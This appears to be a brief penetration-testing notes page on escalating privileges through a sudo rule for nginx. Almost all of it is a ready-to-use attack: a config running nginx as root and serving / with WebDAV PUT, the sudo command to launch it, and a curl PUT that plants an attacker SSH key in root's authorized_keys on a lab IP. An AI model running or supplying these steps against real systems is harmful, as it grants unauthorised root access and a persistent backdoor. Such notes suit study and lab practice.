Nginx

Having sudo access to /usr/sbin/nginx we can web server as root as access the filesystem (read and write) using root privileges.

Change the user in the nginx.conf file to root

cat nginx.conf | grep -v '\#'|grep . > /tmp/nginx.conf

New nginx.conf file

user root;
worker_processes auto;
events {
	worker_connections 768;
}
http {
server {
	listen	1338;
	server_name	localhost;
	root /;
	dav_methods PUT;
	autoindex on;

	}
}
  • user will be root

  • the server will listen on 1338

  • the directory will be /

  • dav_methods allows us to use the PUT method to update files

  • autoindex allows up to browse the filesystem

sudo /usr/sbin/nginx -c /tmp/nginx.conf

Visit http://<IP>:1338 and view filesystem using the root user

Create add a new public key to roots authorized_keys file

ssh-keygen
curl -X PUT http://10.10.11.243:1338/root/.ssh/authorized_keys -d 'public key'

Last updated